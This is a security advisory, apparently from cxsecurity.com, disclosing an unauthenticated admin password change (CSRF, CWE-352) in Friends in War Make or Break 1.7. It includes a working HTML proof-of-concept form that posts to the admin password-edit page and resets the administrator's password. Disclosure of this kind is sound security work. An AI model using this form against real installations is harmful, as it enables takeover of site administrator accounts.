Friends in War Make or Break 1.7 Cross-Site Request Forgery

Published
Credit
Risk
2017.07.28
shinnai
Low
CWE
CVE
Local
Remote
CWE-352
N/A
No
Yes

Friends in War Make or Break 1.7 - Unauthenticated admin password change

Url: http://software.friendsinwar.com/
http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=9

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
---------------------------------------------------------------------

PROOF OF CONCEPT:
<form method="post" action="http://localhost/mob/admin/pass_edit.php?username=1">
<label>1) Choose a new password<br>2) Click on "Submit"<br>3) Login using "admin" and your new password<br><br></label>
<input type="text" name="password" value="ChangeMe">
<input type="text" name="submit" value="Edit+Password" hidden=true>
<input type="submit" value="Submit">
</form>


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com